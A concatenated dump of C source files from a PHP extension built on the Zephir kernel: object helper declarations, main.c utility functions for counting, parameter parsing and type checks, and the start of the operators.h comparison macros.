+------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_OBJECT_H 22 | #define ZEPHIR_KERNEL_OBJECT_H 23 | 24 | #include 25 | #include 26 | 27 | #include "kernel/globals.h" 28 | #include "kernel/main.h" 29 | 30 | /** Class Retrieving/Checking */ 31 | int zephir_class_exists(const zval *class_name, int autoload TSRMLS_DC); 32 | int zephir_interface_exists(const zval *interface_name, int autoload TSRMLS_DC); 33 | void zephir_get_class(zval *result, zval *object, int lower TSRMLS_DC); 34 | void zephir_get_class_ns(zval *result, zval *object, int lower TSRMLS_DC); 35 | void zephir_get_ns_class(zval *result, zval *object, int lower TSRMLS_DC); 36 | void zephir_get_called_class(zval *return_value TSRMLS_DC); 37 | zend_class_entry *zephir_fetch_class(const zval *class_name TSRMLS_DC); 38 | zend_class_entry* zephir_fetch_self_class(TSRMLS_D); 39 | zend_class_entry* zephir_fetch_parent_class(TSRMLS_D); 40 | zend_class_entry* zephir_fetch_static_class(TSRMLS_D); 41 | 42 | #define ZEPHIR_GET_CLASS_CONSTANT(return_value, ce, const_name) \ 43 | do { \ 44 | if (FAILURE == zephir_get_class_constant(return_value, ce, const_name, strlen(const_name)+1 TSRMLS_CC)) { \ 45 | ZEPHIR_MM_RESTORE(); \ 46 | return; \ 47 | } \ 48 | } while (0) 49 | 50 | /** Class constants */ 51 | int zephir_get_class_constant(zval *return_value, zend_class_entry *ce, char *constant_name, unsigned int constant_length TSRMLS_DC); 52 | 53 | /** Cloning/Instance of*/ 54 | int zephir_clone(zval *destiny, zval *obj TSRMLS_DC); 55 | int zephir_instance_of(zval *result, const zval *object, const zend_class_entry *ce TSRMLS_DC); 56 | int zephir_is_instance_of(zval *object, const char *class_name, unsigned int class_length TSRMLS_DC); 57 | int zephir_instance_of_ev(const zval *object, const zend_class_entry *ce TSRMLS_DC); 58 | int zephir_zval_is_traversable(zval *object TSRMLS_DC); 59 | 60 | /** Method exists */ 61 | int zephir_method_exists(const zval *object, const zval *method_name TSRMLS_DC); 62 | int zephir_method_exists_ex(const zval *object, const char *method_name, unsigned int method_len TSRMLS_DC); 63 | int zephir_method_quick_exists_ex(const zval *object, const char *method_name, unsigned int method_len, unsigned long hash TSRMLS_DC); 64 | 65 | /** Isset properties */ 66 | int zephir_isset_property(zval *object, const char *property_name, unsigned int property_length TSRMLS_DC); 67 | int zephir_isset_property_quick(zval *object, const char *property_name, unsigned int property_length, unsigned long hash TSRMLS_DC); 68 | int zephir_isset_property_zval(zval *object, const zval *property TSRMLS_DC); 69 | 70 | /** Reading properties */ 71 | zval* zephir_fetch_property_this_quick(zval *object, const char *property_name, zend_uint property_length, ulong key, int silent TSRMLS_DC); 72 | int zephir_read_property(zval **result, zval *object, const char *property_name, zend_uint property_length, int silent TSRMLS_DC); 73 | int zephir_read_property_zval(zval **result, zval *object, zval *property, int silent TSRMLS_DC); 74 | int zephir_return_property(zval *return_value, zval **return_value_ptr, zval *object, char *property_name, unsigned int property_length TSRMLS_DC); 75 | int zephir_return_property_quick(zval *return_value, zval **return_value_ptr, zval *object, char *property_name, unsigned int property_length, unsigned long key TSRMLS_DC); 76 | int zephir_fetch_property(zval **result, zval *object, const char *property_name, zend_uint property_length, int silent TSRMLS_DC); 77 | int zephir_fetch_property_zval(zval **result, zval *object, zval *property, int silent TSRMLS_DC); 78 | 79 | /** Updating properties */ 80 | int zephir_update_property_this(zval *object, char *property_name, unsigned int property_length, zval *value TSRMLS_DC); 81 | int zephir_update_property_long(zval *obj, char *property_name, unsigned int property_length, long value TSRMLS_DC); 82 | int zephir_update_property_string(zval *object, char *property_name, unsigned int property_length, char *str, unsigned int str_length TSRMLS_DC); 83 | int zephir_update_property_bool(zval *obj, char *property_name, unsigned int property_length, int value TSRMLS_DC); 84 | int zephir_update_property_null(zval *obj, char *property_name, unsigned int property_length TSRMLS_DC); 85 | int zephir_update_property_zval(zval *obj, const char *property_name, unsigned int property_length, zval *value TSRMLS_DC); 86 | int zephir_update_property_zval_zval(zval *obj, zval *property, zval *value TSRMLS_DC); 87 | int zephir_update_property_empty_array(zend_class_entry *ce, zval *object, char *property, unsigned int property_length TSRMLS_DC); 88 | 89 | /** Updating array properties */ 90 | int zephir_update_property_array(zval *object, const char *property, zend_uint property_length, const zval *index, zval *value TSRMLS_DC); 91 | int zephir_update_property_array_string(zval *object, char *property, unsigned int property_length, char *index, unsigned int index_length, zval *value TSRMLS_DC); 92 | int zephir_update_property_array_append(zval *object, char *property, unsigned int property_length, zval *value TSRMLS_DC); 93 | int zephir_update_property_array_multi(zval *object, const char *property, zend_uint property_length, zval **value TSRMLS_DC, const char *types, int types_length, int types_count, ...); 94 | 95 | /** Increment/Decrement properties */ 96 | int zephir_property_incr(zval *object, char *property_name, unsigned int property_length TSRMLS_DC); 97 | int zephir_property_decr(zval *object, char *property_name, unsigned int property_length TSRMLS_DC); 98 | 99 | /** Unset properties */ 100 | int zephir_unset_property(zval* object, const char* name TSRMLS_DC); 101 | int zephir_unset_property_array(zval *object, char *property, unsigned int property_length, zval *index TSRMLS_DC); 102 | 103 | /** Static properties */ 104 | int zephir_read_static_property(zval **result, const char *class_name, unsigned int class_length, char *property_name, unsigned int property_length TSRMLS_DC); 105 | int zephir_update_static_property_ce(zend_class_entry *ce, const char *name, int len, zval **value TSRMLS_DC); 106 | int zephir_update_static_property_ce_cache(zend_class_entry *ce, const char *name, int len, zval **value, zend_property_info **property_info TSRMLS_DC); 107 | int zephir_update_static_property(const char *class_name, unsigned int class_length, char *name, unsigned int name_length, zval **value TSRMLS_DC); 108 | int zephir_read_static_property_ce(zval **result, zend_class_entry *ce, const char *property, int len TSRMLS_DC); 109 | int zephir_read_class_property(zval **result, int type, const char *property, int len TSRMLS_DC); 110 | zval* zephir_fetch_static_property_ce(zend_class_entry *ce, const char *property, int len TSRMLS_DC); 111 | int zephir_update_static_property_array_multi_ce(zend_class_entry *ce, const char *property, zend_uint property_length, zval **value TSRMLS_DC, const char *types, int types_length, int types_count, ...); 112 | 113 | /** Create instances */ 114 | int zephir_create_instance(zval *return_value, const zval *class_name TSRMLS_DC); 115 | int zephir_create_instance_params(zval *return_value, const zval *class_name, zval *params TSRMLS_DC); 116 | 117 | /** Create closures */ 118 | int zephir_create_closure_ex(zval *return_value, zval *this_ptr, zend_class_entry *ce, const char *method_name, zend_uint method_length TSRMLS_DC); 119 | 120 | void zephir_free_object_storage(void *object TSRMLS_DC); 121 | 122 | /** 123 | * Reads a property from this_ptr (with pre-calculated key) 124 | * Variables must be defined in the class definition. This function ignores magic methods or dynamic properties 125 | */ 126 | ZEPHIR_ATTR_NONNULL static inline int zephir_read_property_this_quick(zval **result, zval *object, const char *property_name, zend_uint property_length, ulong key, int silent TSRMLS_DC) 127 | { 128 | zval *tmp = zephir_fetch_property_this_quick(object, property_name, property_length, key, silent TSRMLS_CC); 129 | if (EXPECTED(tmp != NULL)) { 130 | *result = tmp; 131 | Z_ADDREF_PP(result); 132 | return SUCCESS; 133 | } 134 | 135 | ALLOC_INIT_ZVAL(*result); 136 | return FAILURE; 137 | } 138 | 139 | /** 140 | * Reads a property from this_ptr 141 | * Variables must be defined in the class definition. This function ignores magic methods or dynamic properties 142 | */ 143 | ZEPHIR_ATTR_NONNULL static inline int zephir_read_property_this(zval **result, zval *object, const char *property_name, zend_uint property_length, int silent TSRMLS_DC) 144 | { 145 | #ifdef __GNUC__ 146 | if (__builtin_constant_p(property_name) && __builtin_constant_p(property_length)) { 147 | return zephir_read_property_this_quick(result, object, property_name, property_length, zend_inline_hash_func(property_name, property_length + 1), silent TSRMLS_CC); 148 | } 149 | #endif 150 | 151 | return zephir_read_property_this_quick(result, object, property_name, property_length, zend_hash_func(property_name, property_length + 1), silent TSRMLS_CC); 152 | } 153 | 154 | ZEPHIR_ATTR_NONNULL static inline zval* zephir_fetch_nproperty_this_quick(zval *object, const char *property_name, zend_uint property_length, ulong key, int silent TSRMLS_DC) 155 | { 156 | #ifdef __GNUC__ 157 | if (__builtin_constant_p(property_name) && __builtin_constant_p(property_length)) { 158 | zval *result = zephir_fetch_property_this_quick(object, property_name, property_length, key, silent TSRMLS_CC); 159 | return result ? result : EG(uninitialized_zval_ptr); 160 | } 161 | #endif 162 | 163 | zval *result = zephir_fetch_property_this_quick(object, property_name, property_length, key, silent TSRMLS_CC); 164 | return result ? result : EG(uninitialized_zval_ptr); 165 | } 166 | 167 | ZEPHIR_ATTR_NONNULL static inline zval* zephir_fetch_nproperty_this(zval *object, const char *property_name, zend_uint property_length, int silent TSRMLS_DC) 168 | { 169 | #ifdef __GNUC__ 170 | if (__builtin_constant_p(property_name) && __builtin_constant_p(property_length)) { 171 | return zephir_fetch_nproperty_this_quick(object, property_name, property_length, zend_inline_hash_func(property_name, property_length + 1), silent TSRMLS_CC); 172 | } 173 | #endif 174 | 175 | return zephir_fetch_nproperty_this_quick(object, property_name, property_length, zend_hash_func(property_name, property_length + 1), silent TSRMLS_CC); 176 | } 177 | 178 | ZEPHIR_ATTR_NONNULL static inline zval* zephir_fetch_property_this(zval *object, const char *property_name, zend_uint property_length, int silent TSRMLS_DC) 179 | { 180 | #ifdef __GNUC__ 181 | if (__builtin_constant_p(property_name) && __builtin_constant_p(property_length)) { 182 | return zephir_fetch_property_this_quick(object, property_name, property_length, zend_inline_hash_func(property_name, property_length + 1), silent TSRMLS_CC); 183 | } 184 | #endif 185 | 186 | return zephir_fetch_property_this_quick(object, property_name, property_length, zend_hash_func(property_name, property_length + 1), silent TSRMLS_CC); 187 | } 188 | 189 | #endif 190 | 191 | #define zephir_fetch_safe_class(destination, var) \ 192 | { \ 193 | if (Z_TYPE_P(var) == IS_STRING) { \ 194 | ZEPHIR_CPY_WRT(destination, var); \ 195 | } else { \ 196 | ZEPHIR_INIT_NVAR(destination); \ 197 | ZVAL_STRING(destination, "", 1); \ 198 | } \ 199 | } 200 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/main.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | +------------------------------------------------------------------------+ 18 | */ 19 | 20 | #ifdef HAVE_CONFIG_H 21 | #include "config.h" 22 | #endif 23 | 24 | #include "php.h" 25 | #include "php_ext.h" 26 | #include "php_main.h" 27 | #include "ext/spl/spl_exceptions.h" 28 | 29 | #include "kernel/main.h" 30 | #include "kernel/memory.h" 31 | #include "kernel/fcall.h" 32 | #include "kernel/exception.h" 33 | 34 | #include "Zend/zend_exceptions.h" 35 | #include "Zend/zend_interfaces.h" 36 | 37 | /** 38 | * Initializes internal interface with extends 39 | */ 40 | zend_class_entry *zephir_register_internal_interface_ex(zend_class_entry *orig_ce, zend_class_entry *parent_ce TSRMLS_DC) { 41 | 42 | zend_class_entry *ce; 43 | 44 | ce = zend_register_internal_interface(orig_ce TSRMLS_CC); 45 | if (parent_ce) { 46 | zend_do_inheritance(ce, parent_ce TSRMLS_CC); 47 | } 48 | 49 | return ce; 50 | } 51 | 52 | /** 53 | * Initilializes super global variables if doesn't 54 | */ 55 | int zephir_init_global(char *global, unsigned int global_length TSRMLS_DC) { 56 | if (PG(auto_globals_jit)) { 57 | return zend_is_auto_global(global, global_length - 1 TSRMLS_CC); 58 | } 59 | 60 | return SUCCESS; 61 | } 62 | 63 | /** 64 | * Gets the global zval into PG macro 65 | */ 66 | int zephir_get_global(zval **arr, const char *global, unsigned int global_length TSRMLS_DC) { 67 | 68 | zval **gv; 69 | 70 | zend_bool jit_initialization = PG(auto_globals_jit); 71 | if (jit_initialization) { 72 | zend_is_auto_global(global, global_length - 1 TSRMLS_CC); 73 | } 74 | 75 | if (&EG(symbol_table)) { 76 | if (zend_hash_find(&EG(symbol_table), global, global_length, (void **) &gv) == SUCCESS) { 77 | if (Z_TYPE_PP(gv) == IS_ARRAY) { 78 | *arr = *gv; 79 | if (!*arr) { 80 | ZEPHIR_INIT_VAR(*arr); 81 | array_init(*arr); 82 | } 83 | } else { 84 | ZEPHIR_INIT_VAR(*arr); 85 | array_init(*arr); 86 | } 87 | return SUCCESS; 88 | } 89 | } 90 | 91 | ZEPHIR_INIT_VAR(*arr); 92 | array_init(*arr); 93 | 94 | return SUCCESS; 95 | } 96 | 97 | /** 98 | * Makes fast count on implicit array types 99 | */ 100 | void zephir_fast_count(zval *result, zval *value TSRMLS_DC) { 101 | 102 | if (Z_TYPE_P(value) == IS_ARRAY) { 103 | ZVAL_LONG(result, zend_hash_num_elements(Z_ARRVAL_P(value))); 104 | return; 105 | } 106 | 107 | if (Z_TYPE_P(value) == IS_OBJECT) { 108 | 109 | #ifdef HAVE_SPL 110 | zval *retval = NULL; 111 | #endif 112 | 113 | if (Z_OBJ_HT_P(value)->count_elements) { 114 | ZVAL_LONG(result, 1); 115 | if (SUCCESS == Z_OBJ_HT(*value)->count_elements(value, &Z_LVAL_P(result) TSRMLS_CC)) { 116 | return; 117 | } 118 | } 119 | 120 | #ifdef HAVE_SPL 121 | if (Z_OBJ_HT_P(value)->get_class_entry && instanceof_function(Z_OBJCE_P(value), spl_ce_Countable TSRMLS_CC)) { 122 | zend_call_method_with_0_params(&value, NULL, NULL, "count", &retval); 123 | if (retval) { 124 | convert_to_long_ex(&retval); 125 | ZVAL_LONG(result, Z_LVAL_P(retval)); 126 | zval_ptr_dtor(&retval); 127 | } 128 | return; 129 | } 130 | #endif 131 | 132 | ZVAL_LONG(result, 0); 133 | return; 134 | } 135 | 136 | if (Z_TYPE_P(value) == IS_NULL) { 137 | ZVAL_LONG(result, 0); 138 | return; 139 | } 140 | 141 | ZVAL_LONG(result, 1); 142 | } 143 | 144 | /** 145 | * Makes fast count on implicit array types without creating a return zval value 146 | */ 147 | int zephir_fast_count_ev(zval *value TSRMLS_DC) { 148 | 149 | long count = 0; 150 | 151 | if (Z_TYPE_P(value) == IS_ARRAY) { 152 | return zend_hash_num_elements(Z_ARRVAL_P(value)) > 0; 153 | } 154 | 155 | if (Z_TYPE_P(value) == IS_OBJECT) { 156 | 157 | #ifdef HAVE_SPL 158 | zval *retval = NULL; 159 | #endif 160 | 161 | if (Z_OBJ_HT_P(value)->count_elements) { 162 | Z_OBJ_HT(*value)->count_elements(value, &count TSRMLS_CC); 163 | return (int) count > 0; 164 | } 165 | 166 | #ifdef HAVE_SPL 167 | if (Z_OBJ_HT_P(value)->get_class_entry && instanceof_function(Z_OBJCE_P(value), spl_ce_Countable TSRMLS_CC)) { 168 | zend_call_method_with_0_params(&value, NULL, NULL, "count", &retval); 169 | if (retval) { 170 | convert_to_long_ex(&retval); 171 | count = Z_LVAL_P(retval); 172 | zval_ptr_dtor(&retval); 173 | return (int) count > 0; 174 | } 175 | return 0; 176 | } 177 | #endif 178 | 179 | return 0; 180 | } 181 | 182 | if (Z_TYPE_P(value) == IS_NULL) { 183 | return 0; 184 | } 185 | 186 | return 1; 187 | } 188 | 189 | /** 190 | * Makes fast count on implicit array types without creating a return zval value 191 | */ 192 | int zephir_fast_count_int(zval *value TSRMLS_DC) { 193 | 194 | long count = 0; 195 | 196 | if (Z_TYPE_P(value) == IS_ARRAY) { 197 | return zend_hash_num_elements(Z_ARRVAL_P(value)); 198 | } 199 | 200 | if (Z_TYPE_P(value) == IS_OBJECT) { 201 | 202 | #ifdef HAVE_SPL 203 | zval *retval = NULL; 204 | #endif 205 | 206 | if (Z_OBJ_HT_P(value)->count_elements) { 207 | Z_OBJ_HT(*value)->count_elements(value, &count TSRMLS_CC); 208 | return (int) count; 209 | } 210 | 211 | #ifdef HAVE_SPL 212 | if (Z_OBJ_HT_P(value)->get_class_entry && instanceof_function(Z_OBJCE_P(value), spl_ce_Countable TSRMLS_CC)) { 213 | zend_call_method_with_0_params(&value, NULL, NULL, "count", &retval); 214 | if (retval) { 215 | convert_to_long_ex(&retval); 216 | count = Z_LVAL_P(retval); 217 | zval_ptr_dtor(&retval); 218 | return (int) count; 219 | } 220 | return 0; 221 | } 222 | #endif 223 | 224 | return 0; 225 | } 226 | 227 | if (Z_TYPE_P(value) == IS_NULL) { 228 | return 0; 229 | } 230 | 231 | return 1; 232 | } 233 | 234 | /** 235 | * Check if a function exists 236 | */ 237 | int zephir_function_exists(const zval *function_name TSRMLS_DC) { 238 | 239 | return zephir_function_quick_exists_ex( 240 | Z_STRVAL_P(function_name), 241 | Z_STRLEN_P(function_name) + 1, 242 | zend_inline_hash_func(Z_STRVAL_P(function_name), Z_STRLEN_P(function_name) + 1) TSRMLS_CC 243 | ); 244 | } 245 | 246 | /** 247 | * Check if a function exists using explicit char param 248 | * 249 | * @param function_name 250 | * @param function_len strlen(function_name)+1 251 | */ 252 | int zephir_function_exists_ex(const char *function_name, unsigned int function_len TSRMLS_DC) { 253 | 254 | return zephir_function_quick_exists_ex(function_name, function_len, zend_inline_hash_func(function_name, function_len) TSRMLS_CC); 255 | } 256 | 257 | /** 258 | * Check if a function exists using explicit char param (using precomputed hash key) 259 | */ 260 | int zephir_function_quick_exists_ex(const char *method_name, unsigned int method_len, unsigned long key TSRMLS_DC) { 261 | 262 | if (zend_hash_quick_exists(CG(function_table), method_name, method_len, key)) { 263 | return SUCCESS; 264 | } 265 | 266 | return FAILURE; 267 | } 268 | 269 | /** 270 | * Checks if a zval is callable 271 | */ 272 | int zephir_is_callable(zval *var TSRMLS_DC) { 273 | 274 | char *error = NULL; 275 | zend_bool retval; 276 | 277 | retval = zend_is_callable_ex(var, NULL, 0, NULL, NULL, NULL, &error TSRMLS_CC); 278 | if (error) { 279 | efree(error); 280 | } 281 | 282 | return (int) retval; 283 | } 284 | 285 | int zephir_is_scalar(zval *var) { 286 | 287 | switch (Z_TYPE_P(var)) { 288 | case IS_BOOL: 289 | case IS_DOUBLE: 290 | case IS_LONG: 291 | case IS_STRING: 292 | return 1; 293 | break; 294 | } 295 | 296 | return 0; 297 | } 298 | 299 | /** 300 | * Initialize an array to start an iteration over it 301 | */ 302 | int zephir_is_iterable_ex(zval *arr, HashTable **arr_hash, HashPosition *hash_position, int duplicate, int reverse) { 303 | 304 | if (UNEXPECTED(Z_TYPE_P(arr) != IS_ARRAY)) { 305 | return 0; 306 | } 307 | 308 | if (duplicate) { 309 | ALLOC_HASHTABLE(*arr_hash); 310 | zend_hash_init(*arr_hash, 0, NULL, NULL, 0); 311 | zend_hash_copy(*arr_hash, Z_ARRVAL_P(arr), NULL, NULL, sizeof(zval*)); 312 | } else { 313 | *arr_hash = Z_ARRVAL_P(arr); 314 | } 315 | 316 | if (reverse) { 317 | if (hash_position) { 318 | *hash_position = (*arr_hash)->pListTail; 319 | } else { 320 | (*arr_hash)->pInternalPointer = (*arr_hash)->pListTail; 321 | } 322 | } else { 323 | if (hash_position) { 324 | *hash_position = (*arr_hash)->pListHead; 325 | } else { 326 | (*arr_hash)->pInternalPointer = (*arr_hash)->pListHead; 327 | } 328 | } 329 | 330 | return 1; 331 | } 332 | 333 | void zephir_safe_zval_ptr_dtor(zval *pzval) 334 | { 335 | if (pzval) { 336 | zval_ptr_dtor(&pzval); 337 | } 338 | } 339 | 340 | /** 341 | * Parses method parameters with minimum overhead 342 | */ 343 | int zephir_fetch_parameters(int num_args TSRMLS_DC, int required_args, int optional_args, ...) 344 | { 345 | va_list va; 346 | int arg_count = (int) (zend_uintptr_t) *(zend_vm_stack_top(TSRMLS_C) - 1); 347 | zval **arg, **p; 348 | int i; 349 | 350 | if (num_args < required_args || (num_args > (required_args + optional_args))) { 351 | zephir_throw_exception_string(spl_ce_BadMethodCallException, SL("Wrong number of parameters") TSRMLS_CC); 352 | return FAILURE; 353 | } 354 | 355 | if (num_args > arg_count) { 356 | zephir_throw_exception_string(spl_ce_BadMethodCallException, SL("Could not obtain parameters for parsing") TSRMLS_CC); 357 | return FAILURE; 358 | } 359 | 360 | if (!num_args) { 361 | return SUCCESS; 362 | } 363 | 364 | va_start(va, optional_args); 365 | 366 | i = 0; 367 | while (num_args-- > 0) { 368 | 369 | arg = (zval **) (zend_vm_stack_top(TSRMLS_C) - 1 - (arg_count - i)); 370 | 371 | p = va_arg(va, zval **); 372 | *p = *arg; 373 | 374 | i++; 375 | } 376 | 377 | va_end(va); 378 | 379 | return SUCCESS; 380 | } 381 | 382 | /** 383 | * Returns the type of a variable as a string 384 | */ 385 | void zephir_gettype(zval *return_value, zval *arg TSRMLS_DC) { 386 | 387 | switch (Z_TYPE_P(arg)) { 388 | 389 | case IS_NULL: 390 | RETVAL_STRING("NULL", 1); 391 | break; 392 | 393 | case IS_BOOL: 394 | RETVAL_STRING("boolean", 1); 395 | break; 396 | 397 | case IS_LONG: 398 | RETVAL_STRING("integer", 1); 399 | break; 400 | 401 | case IS_DOUBLE: 402 | RETVAL_STRING("double", 1); 403 | break; 404 | 405 | case IS_STRING: 406 | RETVAL_STRING("string", 1); 407 | break; 408 | 409 | case IS_ARRAY: 410 | RETVAL_STRING("array", 1); 411 | break; 412 | 413 | case IS_OBJECT: 414 | RETVAL_STRING("object", 1); 415 | break; 416 | 417 | case IS_RESOURCE: 418 | { 419 | const char *type_name = zend_rsrc_list_get_rsrc_type(Z_LVAL_P(arg) TSRMLS_CC); 420 | 421 | if (type_name) { 422 | RETVAL_STRING("resource", 1); 423 | break; 424 | } 425 | } 426 | 427 | default: 428 | RETVAL_STRING("unknown type", 1); 429 | } 430 | } 431 | 432 | zend_class_entry* zephir_get_internal_ce(const char *class_name, unsigned int class_name_len TSRMLS_DC) { 433 | zend_class_entry** temp_ce; 434 | 435 | if (zend_hash_find(CG(class_table), class_name, class_name_len, (void **)&temp_ce) == FAILURE) { 436 | zend_error(E_ERROR, "Class '%s' not found", class_name); 437 | return NULL; 438 | } 439 | 440 | return *temp_ce; 441 | } 442 | 443 | /** 444 | * Check is PHP Version equals to Runtime PHP Version 445 | */ 446 | int zephir_is_php_version(unsigned int id) 447 | { 448 | int php_major = PHP_MAJOR_VERSION * 10000; 449 | int php_minor = PHP_MINOR_VERSION * 100; 450 | int php_release = PHP_RELEASE_VERSION; 451 | 452 | int zep_major = id / 10000; 453 | int zep_minor = id / 100 - zep_major * 100; 454 | int zep_release = id - (zep_major * 10000 + zep_minor * 100); 455 | 456 | if (zep_minor == 0) 457 | { 458 | php_minor = 0; 459 | } 460 | 461 | if (zep_release == 0) 462 | { 463 | php_release = 0; 464 | } 465 | 466 | return ((php_major + php_minor + php_release) == id ? 1 : 0); 467 | } 468 | 469 | void zephir_get_args(zval *return_value TSRMLS_DC) 470 | { 471 | zend_execute_data *ex = EG(current_execute_data); 472 | void **p = ex->function_state.arguments; 473 | int arg_count = (int)(zend_uintptr_t)*p; 474 | int i; 475 | 476 | array_init_size(return_value, arg_count); 477 | for (i=0; ifunction_state.arguments; 498 | int arg_count = (int)(zend_uintptr_t)*p; 499 | zval *arg; 500 | 501 | if (UNEXPECTED(idx < 0)) { 502 | zend_error(E_WARNING, "zephir_get_arg(): The argument number should be >= 0"); 503 | RETURN_FALSE; 504 | } 505 | 506 | if (UNEXPECTED((zend_ulong)idx >= arg_count)) { 507 | zend_error(E_WARNING, "zephir_get_arg(): Argument %d not passed to function", idx); 508 | RETURN_FALSE; 509 | } 510 | 511 | arg = *((zval**)(p - arg_count + idx)); 512 | RETURN_ZVAL(arg, 1, 0); 513 | } 514 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/operators.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_OPERATORS_H 22 | #define ZEPHIR_KERNEL_OPERATORS_H 23 | 24 | #include 25 | #include 26 | 27 | /** Strict comparing */ 28 | #define ZEPHIR_IS_LONG(op1, op2) ((Z_TYPE_P(op1) == IS_LONG && Z_LVAL_P(op1) == op2) || zephir_compare_strict_long(op1, op2 TSRMLS_CC)) 29 | #define ZEPHIR_IS_DOUBLE(op1, op2) ((Z_TYPE_P(op1) == IS_DOUBLE && Z_DVAL_P(op1) == op2) || zephir_compare_strict_double(op1, op2 TSRMLS_CC)) 30 | #define ZEPHIR_IS_STRING(op1, op2) zephir_compare_strict_string(op1, op2, strlen(op2)) 31 | 32 | #define ZEPHIR_IS_LONG_IDENTICAL(op1, op2) (Z_TYPE_P(op1) == IS_LONG && Z_LVAL_P(op1) == op2) 33 | #define ZEPHIR_IS_DOUBLE_IDENTICAL(op1, op2) (Z_TYPE_P(op1) == IS_DOUBLE && Z_DVAL_P(op1) == op2) 34 | #define ZEPHIR_IS_STRING_IDENTICAL(op1, op2) (Z_TYPE_P(op1) == IS_STRING && zephir_compare_strict_string(op1, op2, strlen(op2))) 35 | #define ZEPHIR_IS_BOOL_IDENTICAL(op1, op2) (Z_TYPE_P(op1) == IS_BOOL && zephir_compare_strict_bool(op1, op2 TSRMLS_CC)) 36 | 37 | /** strict boolean comparison */ 38 | #define ZEPHIR_IS_FALSE(var) ((Z_TYPE_P(var) == IS_BOOL && !Z_BVAL_P(var)) || zephir_compare_strict_bool(var, 0 TSRMLS_CC)) 39 | #define ZEPHIR_IS_TRUE(var) ((Z_TYPE_P(var) == IS_BOOL && Z_BVAL_P(var)) || zephir_compare_strict_bool(var, 1 TSRMLS_CC)) 40 | 41 | #define ZEPHIR_IS_FALSE_IDENTICAL(var) (Z_TYPE_P(var) == IS_BOOL && !Z_BVAL_P(var)) 42 | #define ZEPHIR_IS_TRUE_IDENTICAL(var) (Z_TYPE_P(var) == IS_BOOL && Z_BVAL_P(var)) 43 | 44 | #define ZEPHIR_IS_NOT_FALSE(var) (Z_TYPE_P(var) != IS_BOOL || (Z_TYPE_P(var) == IS_BOOL && Z_BVAL_P(var))) 45 | #define ZEPHIR_IS_NOT_TRUE(var) (Z_TYPE_P(var) != IS_BOOL || (Z_TYPE_P(var) == IS_BOOL && !Z_BVAL_P(var))) 46 | #define ZEPHIR_IS_BOOL(op1, op2) zephir_compare_strict_bool(op1, op2 TSRMLS_CC) 47 | #define ZEPHIR_IS_BOOL_VALUE(op1, op2) zephir_compare_strict_bool(op1, op2 TSRMLS_CC) 48 | 49 | /** SQL null empty **/ 50 | #define ZEPHIR_IS_EMPTY(var) (Z_TYPE_P(var) == IS_NULL || ZEPHIR_IS_FALSE(var) || (Z_TYPE_P(var) == IS_STRING && !Z_STRLEN_P(var)) || !zend_is_true(var)) 51 | #define ZEPHIR_IS_NOT_EMPTY(var) (!ZEPHIR_IS_EMPTY(var)) 52 | 53 | /** Is scalar */ 54 | #define ZEPHIR_IS_SCALAR(var) (!ZEPHIR_IS_NOT_SCALAR(var)) 55 | #define ZEPHIR_IS_NOT_SCALAR(var) (Z_TYPE_P(var) == IS_NULL || Z_TYPE_P(var) == IS_ARRAY || Z_TYPE_P(var) == IS_OBJECT || Z_TYPE_P(var) == IS_RESOURCE) 56 | 57 | /** Equals/Identical */ 58 | #define ZEPHIR_IS_EQUAL(op1, op2) zephir_is_equal(op1, op2 TSRMLS_CC) 59 | #define ZEPHIR_IS_IDENTICAL(op1, op2) zephir_is_identical(op1, op2 TSRMLS_CC) 60 | 61 | /** Greater/Smaller equals */ 62 | #define ZEPHIR_LE(op1, op2) zephir_less_equal(op1, op2 TSRMLS_CC) 63 | #define ZEPHIR_LE_LONG(op1, op2) ((Z_TYPE_P(op1) == IS_LONG && Z_LVAL_P(op1) <= op2) || zephir_less_equal_long(op1, op2 TSRMLS_CC)) 64 | #define ZEPHIR_LE_DOUBLE(op1, op2) ((Z_TYPE_P(op1) == IS_DOUBLE && Z_DVAL_P(op1) <= op2) || zephir_less_equal_double(op1, op2 TSRMLS_CC)) 65 | #define ZEPHIR_GE(op1, op2) zephir_greater_equal(op1, op2 TSRMLS_CC) 66 | #define ZEPHIR_GE_LONG(op1, op2) zephir_greater_equal_long(op1, op2 TSRMLS_CC) 67 | #define ZEPHIR_LT(op1, op2) ((Z_TYPE_P(op1) == IS_LONG && Z_TYPE_P(op2) == IS_LONG) ? Z_LVAL_P(op1) < Z_LVAL_P(op2) : zephir_less(op1, op2 TSRMLS_CC)) 68 | 